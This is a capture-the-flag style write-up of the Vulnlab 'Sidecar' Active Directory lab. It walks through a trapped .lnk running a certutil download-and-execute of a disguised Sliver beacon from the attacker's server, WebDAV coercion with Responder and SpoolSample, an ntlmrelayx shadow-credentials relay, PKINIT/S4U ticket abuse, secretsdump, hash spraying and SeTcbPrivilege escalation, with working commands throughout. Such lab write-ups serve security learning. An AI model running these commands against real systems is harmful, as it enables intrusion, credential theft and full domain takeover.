Vulnlab - Sidecar
Sidecar is a chain made up of two machines, WS01 and DC01, classified as difficult. Initial access to WS01 is gained via a booby-trapped .lnk file, set up to limit antivirus detection. Once the first machine has been compromised, the absence of an LDAP signature combined with the presence of WebDAV enables a Shadow Credentials attack to be carried out, resulting in a much deeper compromise of the infrastructure.
By compromising WS01, the recovery of a password made it possible to reach an account with WinRM access on the domain controller. This account possessed the SeTcbPrivilege, which opens up massive elevation possibilities: exploiting this right facilitates the creation of elevated tokens and the execution of code on behalf of arbitrary identities, including SYSTEM, making possible the complete compromise of the DC.
Attack via `.lnk
When enumerating shared resources anonymously on the domain controller, the public share was found to be read/write accessible to all users. The info.txt file present in this share indicates that the /common/custom folder contains .lnk shortcuts used by users, making it an interesting target for a decoy.
To test whether a user actually clicks on these shortcuts, I dropped a trapped .lnk into the directory and waited for an incoming connection. The test captured NTLM authentication from a target machine, confirming that the attack works.
With the credentials retrieved, access to SMB shares was limited and insufficient to obtain a direct elevation. I therefore chose to obtain a reverse shell. As Windows Defender was active, I opted for in-memory execution via a C2 (Sliver) to reduce detection. To build a resistant loader, I relied on lab resources (https://www.youtube.com/watch?v=dShZR6FUV2w and https://wiki.vulnlab.com/lab-notes/c2-loaders/asm-loader) and adapted the Sliver beacon to produce a shellcode/loader executable in memory.
The .lnk shortcut was modified to force the retrieval and execution of an executable downloaded from my server:
1 | C:\Windows\System32\cmd.exe /c certutil -urlcache -f http://10.8.6.80:8000/MicrosoftEdgeUpdate.exe C:\Windows\Temp\MicrosoftEdgeUpdate.exe && C:\Windows\Temp\MicrosoftEdgeUpdate.exe |
After a few minutes, the beacon connected and I obtained interactive access to WS01.
Listing and recognition
With the beacon active, the next step was to collect reconnaissance elements using SharpHound to feed BloodHound and identify possible climbing paths. Running SharpHound retrieved a lot of data, but no exploitable escalation paths were revealed for the current user.
1 | [server] sliver (sidecar-http) > execute-assembly -i -E /opt/sharphound/SharpHound.exe "-c all -d sidecar.vl --outputdirectory C:\windows\tasks --zipfilename out.zip" |
I then checked the possibility of adding machines to the domain (a useful condition for an RBCD attack) by querying ms-DS-MachineAccountQuota via StandIn (https://github.com/FuzzySecurity/StandIn). The value returned was 0, meaning that a standard user cannot create machine accounts in this domain.
1 | [server] sliver (sidecar-http) > inline-execute-assembly /opt/StandIn_v13_Net45.exe "--object ms-DS-MachineAccountQuota=*" |
WebDAV activation and HTTP coercion
Since LDAP signing was not enabled on the DC, I wanted to find out whether WebDAV/WebClient was enabled to relay HTTP coercion to LDAP. Initially, SharpWebClientScanner indicated that WebClient was not active on the domain machines. To force its activation, I used Responder in scan mode to generate controlled HTTP authentications and then mapped an HTTP share from the target to my server. This activates the WebClient behavior on the target machine.
1 | sudo responder -I tun0 -A |
From target :
1 | net use z: http://10.8.6.80/test |
After these operations, SharpWebClientScanner detected that the WebClient was activated on WS01.
Add internal DNS entry
For HTTP to LDAP coercion to work, it must target an internal domain name rather than an IP address. This is because Windows applies security zone rules: sites considered as Local Intranet (often single-labeled or explicitly listed) automatically receive NTLM/Kerberos authentication, whereas an IP is often in the Internet zone, preventing credentials from being sent automatically. Unable to use netexec in this context, I used Sharpmad to add an internal DNS entry pointing to my machine, which allowed me to force credentials to be sent via WebDAV.
1 | [server] sliver (sidecar-http) > execute-assembly /home/kali/ctf/vulnlab/sidecar/Sharpmad.exe ADIDNS -Action New -Tombstone -Verbose -Node WIN-IRMHSOW8KI1 -DATA 10.8.6.80 |
The internal DNS entry has been created and points to my machine.
Shadow Credentials via Printer Bug and NTLM relay to LDAPS
To force the machine to authenticate, I used SpoolSample.exe (PoC of the MS-RPRN Printer Bug). This tool requests the victim’s Printer Spooler to connect to a specified network path. Targeting the victim with a special UNC containing @80, the Spooler triggers a WebDAV/HTTP connection to my server and sends me machine authentication.
1 | [server] sliver (sidecar-http) > execute-assembly /home/kali/ctf/vulnlab/sidecar/SpoolSample.exe 10.10.210.182 WIN-IRMHSOW8KI1@80/asdfasdf |
In parallel, I ran ntlmrelayx to relay to the domain controller and perform the shadow-credentials operation. The aim was to use PKINIT to write a public key to the msDS-KeyCredentialLink attribute of the WS01$ machine object. Once the key has been added, it is possible to authenticate in Kerberos on behalf of the machine by presenting the corresponding certificate.
1 | sidecar > impacket-ntlmrelayx -t ldaps://10.10.210.181 --shadow-credentials --shadow-target 'ws01$' -smb2support |
The reason why this attack targets a machine account comes from the default ACLs: a machine account can write to its own msDS-KeyCredentialLink when it is empty or uninitialized. User accounts do not systematically have this right, hence the preference for machine objects in this relay.
Obtain TGT PKINIT and use S4U / Silver ticket
After inserting the PKINIT key on WS01$, I retrieved the PFX certificate generated by the relay and used PKINITtools to request a TGT from the KDC by presenting this certificate. To do this, I used the following command:
1 | python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx xK3Moyk6.pfx -pfx-pass pW8s4hoJ1HkRbjpZeHr4 'Sidecar.vl/ws01$' xK3Moyk6.ccache -dc-ip 10.10.210.181 |
On execution, the tool displays an AS-REP encryption key. This key encrypts certain parts of the AS-REP response and is used to derive Kerberos session keys. If the domain accepts RC4-HMAC (etype 23), the value displayed corresponds to the hash NTLM of the machine account, enabling silver tickets (forged TGSs signed with the service key) to be forged. If, on the other hand, the KDC only offers AES enctypes, the value displayed is the AES key derived from the password via string2key, which enables the AS-REP to be decrypted, but does not correspond to the NTLM hash and does not allow the NT hash to be retrieved directly.
Rather than forging a silver ticket directly with an NT hash, I used gets4uticket.py from PKINITtools to obtain a S4U2self/S4U2proxy ticket based on the PKINIT TGT. This method enabled me to obtain a service ticket in the name of Administrator for the SMB service.
1 | export KRB5CCNAME=UtmmA0SQ.ccache |
After loading and using the generated ticket, I was able to extract the machine’s local secrets (SAM, LSA, DPAPI keys) via impacket-secretsdump.
1 | export KRB5CCNAME=Administrator.ccache |
1 | └─$ impacket-secretsdump -k WS01.sidecar.vl |
Domain controller compromise and SeTcbPrivilege exploitation
By hash spraying user accounts with hashes retrieved from WS01, I managed to compromise the svc_deploy account. This account had WinRM access to DC01, allowing me to open a remote session.
1 | └─$ nxc winrm 10.10.168.21 -u svc_deploy -H c5ad69fd899918450831c9d2b23f27a1 |
Analysis of the account’s privileges revealed the presence of SeTcbPrivilege (“Act as part of the operating system”). This privilege allows the creation of primary or impersonation tokens for any account, and the execution of code using the identity of these accounts. Possession of this right is virtually equivalent to being able to usurp any local user.
1 | *Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv |
To exploit this privilege, I used # TcbElevation.cpp which allowed me to obtain a beacon as a system.
1 | *Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\TcbElevation.exe test "C:\Windows\System32\cmd.exe /c C:\Windows\Tasks\MicrosoftEdgeUpdate.exe" |
1 | sliver > beacons |
